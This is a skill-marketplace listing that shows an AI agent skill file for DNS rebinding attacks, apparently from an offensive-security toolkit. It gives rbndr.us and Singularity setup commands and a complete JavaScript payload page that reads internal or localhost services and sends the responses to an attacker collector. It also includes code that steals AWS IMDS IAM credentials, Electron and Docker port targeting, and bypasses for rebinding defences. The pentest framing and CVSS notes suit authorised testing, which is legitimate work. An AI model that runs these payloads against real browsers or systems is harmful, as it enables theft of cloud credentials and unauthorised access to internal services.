Skip to main content

dns-rebinding

DNS rebinding attack to bypass browser same-origin policy and reach IMDS/localhost/internal services: TTL=0 rebind mechanics, rbndr.us/singularity tooling, browser DNS cache pinning, chaining into AWS/GCP/Azure IMDS credential pivot. Use when SSRF is blocked but a victim browser can be induced to make requests, or when a localhost service is exposed. Triggers on: 'dns rebinding', 'rebind', 'DNS TTL 0', 'singularity', 'rbndr', 'localhost bypass via browser', 'imds via browser', 'SSRF via DNS'.

Ir para a instalação

Informações da origem

Repositório
BitterSecurity/Decepticon
Última atividade na origem
2 de junho de 2026 às 17:44
Idioma detectado do SKILL.md
inglês
Estrelas
5.522
Forks
1.048

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Exibindo SKILL.md

SKILL.md
Instruções da origem · Visualização somente leitura
name
dns-rebinding
description
DNS rebinding attack to bypass browser same-origin policy and reach IMDS/localhost/internal services: TTL=0 rebind mechanics, rbndr.us/singularity tooling, browser DNS cache pinning, chaining into AWS/GCP/Azure IMDS credential pivot. Use when SSRF is blocked but a victim browser can be induced to make requests, or when a localhost service is exposed. Triggers on: 'dns rebinding', 'rebind', 'DNS TTL 0', 'singularity', 'rbndr', 'localhost bypass via browser', 'imds via browser', 'SSRF via DNS'.
allowed-tools
Bash Read Write
metadata
{"subdomain":"execution","when_to_use":"dns rebinding rebind TTL 0 singularity rbndr localhost bypass via browser imds via browser SSRF via DNS same origin policy bypass","tags":"dns-rebinding, ssrf, imds, browser, localhost, same-origin-policy, cors","mitre_attack":"T1557, T1190"}
# DNS Rebinding DNS rebinding lets an attacker-controlled page make the victim's browser treat `attacker.com` as if it were `127.0.0.1` (or any internal IP). The browser's same-origin policy checks the hostname, not the IP — so after rebinding, the page's JS can read responses from the internal service as if they were same-origin. ## When This Applies | Scenario | Viable? | |----------|---------| | SSRF blocked, but victim browser is reachable | Yes — browser does the internal fetch | | Localhost service (Electron app, dev server, K8s dashboard) | Yes — browser calls 127.0.0.1:<PORT> | | Cloud IMDS (169.254.169.254) reachable from instance's browser | Yes — rare but critical | | Server-side SSRF filter allows `attacker.com` | Yes — rebind to internal IP | | Target has DNS-rebinding protection (Host header check) | Partial — see bypass §7 | ## 2. Attack Mechanics ### Phase 1 — Victim resolves attacker.com → public IP Victim visits `http://attacker.com/payload.html`. Browser resolves the DNS name → gets the attacker's real public IP → same-origin allows the page's JS to load and execute. ### Phase 2 — TTL expires, DNS flips to 127.0.0.1 The attacker's DNS server returns a very short TTL (0–1 s). After TTL expiry, a second DNS query returns `127.0.0.1` (or target internal IP). ### Phase 3 — JS makes same-origin request The page's JS calls `fetch("http://attacker.com/api/v1/secret")`. The browser re-resolves `attacker.com` → gets `127.0.0.1` → sends the request to the local service on the attacker's behalf, receives the response, and exfiltrates it. ``` [Browser] → DNS query: attacker.com → [Attacker DNS] → 1.2.3.4 (real) ... wait TTL ... [Browser] → DNS query: attacker.com → [Attacker DNS] → 127.0.0.1 (rebind) [Browser] fetch("http://attacker.com:8080/api/secret") → [127.0.0.1:8080] [Browser] → response body exfiltrated to attacker ``` ## 3. Tooling ### rbndr.us (fastest, no setup) Public DNS rebinding service by Taviso. Construct a hostname that encodes both IPs: ``` <hex-public-ip>.<hex-target-ip>.rbndr.us ``` Example — rebind `attacker.com` from `1.2.3.4` to `127.0.0.1`: ```bash PUBLIC_HEX=$(python3 -c "import socket; a='<YOUR_VPS_IP>'; print(''.join(f'{int(x):02x}' for x in a.split('.')))") TARGET_HEX="7f000001" # 127.0.0.1 REBIND_HOST="${PUBLIC_HEX}.${TARGET_HEX}.rbndr.us" echo "Rebind hostname: $REBIND_HOST" # → e.g. 01020304.7f000001.rbndr.us ``` The rbndr.us server alternates between the two IPs on each DNS request. Set up your payload page at `http://$REBIND_HOST:8080/`. ### Singularity (full-featured, self-hosted) ```bash git clone https://github.com/nccgroup/singularity /workspace/singularity cd /workspace/singularity/html # Configure the manager # Edit cmd/singularity-server/main.go: set rebindingFn to "rr" (round-robin) # or "fs" (first satisfied) docker run -it --rm \ -p 53:53/udp -p 8080:8080 \ nccgroup/singularity # Access the manager at http://<VPS>:8080/manager.html # Set "Attack host" = attacker's public IP # Set "Target host" = 127.0.0.1 (or internal IP) # Set "Target port" = target port (e.g. 2375 for Docker, 6443 for K8s) # Generate the attack URL; deliver to victim ``` ## 4. Payload Page Minimal JS to fetch once rebinding succeeds: ```html <!DOCTYPE html> <html> <body> <script> const host = location.hostname; // e.g. xxxx.7f000001.rbndr.us const target = "http://" + host + ":<TARGET_PORT>/"; const exfil = "https://<ATTACKER_COLLECTOR>/"; function tryFetch(attempt) { fetch(target, {cache: "no-store"}) .then(r => r.text()) .then(body => { // Got internal service response — exfiltrate fetch(exfil + "?d=" + btoa(body).slice(0,1000)); }) .catch(err => { // DNS hasn't flipped yet, retry if (attempt < 30) setTimeout(() => tryFetch(attempt+1), 1000); }); } setTimeout(() => tryFetch(0), 500); // give first TTL a moment to expire </script> </body> </html> ``` For IMDS specifically, AWS v1 and GCP do not require special headers from the browser perspective — the only protection is Host header validation (see §7). Azure IMDS requires `Metadata: true` header — inject via: ```javascript fetch(target, {headers: {"Metadata": "true"}, cache: "no-store"}) ``` ## 5. Cloud IMDS Pivot Once the rebinding hits `169.254.169.254`: ```javascript // AWS IMDSv1 — enumerate IAM role fetch("http://attacker.com/latest/meta-data/iam/security-credentials/", {cache:"no-store"}) .then(r => r.text()) .then(role => { fetch("http://attacker.com/latest/meta-data/iam/security-credentials/" + role.trim(), {cache:"no-store"}) .then(r => r.text()) .then(creds => fetch(exfil + "?c=" + btoa(creds))); }); ``` Extraction yields `AccessKeyId`, `SecretAccessKey`, `Token` — full AWS credential pivot. Treat as equivalent to SSRF → IMDSv1 (Critical). ## 6. Electron / Desktop App Attack Many Electron apps serve a local HTTP or WebSocket server on `127.0.0.1:<PORT>` without authentication, relying on same-origin for isolation. DNS rebinding bypasses that entirely: 1. Enumerate the app's local port (scan or read its config file if accessible) 2. Rebind to `127.0.0.1:<port>` using rbndr.us 3. Read API responses, extract tokens/auth cookies, pivot to backend Target ports by app: | App | Default port | |-----|-------------| | VS Code remote | 9229 | | Docker Desktop API | 2375 | | Kubernetes API | 6443 / 8001 | | etcd | 2379 | | Jupyter Notebook | 8888 | | Kibana | 5601 | | Redis | 6379 | ## 7. Defenses and Bypasses | Defense | Bypass | |---------|--------| | Host header check (`if Host != expected`) | Try `X-Forwarded-Host`, `X-Host`, empty Host | | DNS pinning (browser caches first IP) | Wait for pin to expire (Chrome: 60s); switch to fresh tab | | Private network access (PNA) headers | Older browsers lack PNA support; Safari doesn't implement it | | IMDSv2 (token-required) | Browser can't set `X-aws-ec2-metadata-token-ttl-seconds` — v2 often blocks | | CORS `Access-Control-Allow-Origin` | CORS is about responses — rebinding bypasses by making origin `==` target | Browser DNS cache TTLs: - Chrome: ignores TTL if < 1s (pins for ~1min); use rbndr TTL of 1s - Firefox: respects TTL=0 more reliably - Safari: similar to Firefox ## 8. PoC Evidence Checklist To file a valid finding: - [ ] Demonstrate victim browser receives response from internal target - [ ] Show the exfiltrated data (e.g. base64-decoded IMDS response) - [ ] Record DNS TTL used and browser version - [ ] Show that without the rebind (direct access) the same request fails ## 9. CVSS | Variant | CVSS vector | Score | |---------|-------------|-------| | DNS rebind → unauthenticated localhost service (DoS) | AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H | 5.3 | | DNS rebind → internal API data leak | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N | 7.4 | | DNS rebind → IMDSv1 IAM credentials | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H | 9.0 | | DNS rebind → Docker socket → RCE | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H | 9.0 | AC:H reflects the requirement for victim interaction (keeping the tab open during the TTL expiry window). ## 10. Chain Promotion DNS rebinding is usually a delivery primitive — chain it: - `enables` edge to IMDS credential node (if IMDS pivot succeeded) - `enables` edge to internal service vuln (if internal service is exploitable) - `requires` edge from "victim interaction" precondition node ``` kg_add_node("vulnerability", "DNS rebinding → IMDS credential pivot", props={"attack_host": "<REBIND_HOST>", "target_ip": "169.254.169.254", "browser": "Chrome 124", "imds_role": "<ROLE_NAME>", "exfil_method": "fetch to attacker callback", "key": "dns-rebinding:imds-pivot"}) ```
Ver no GitHub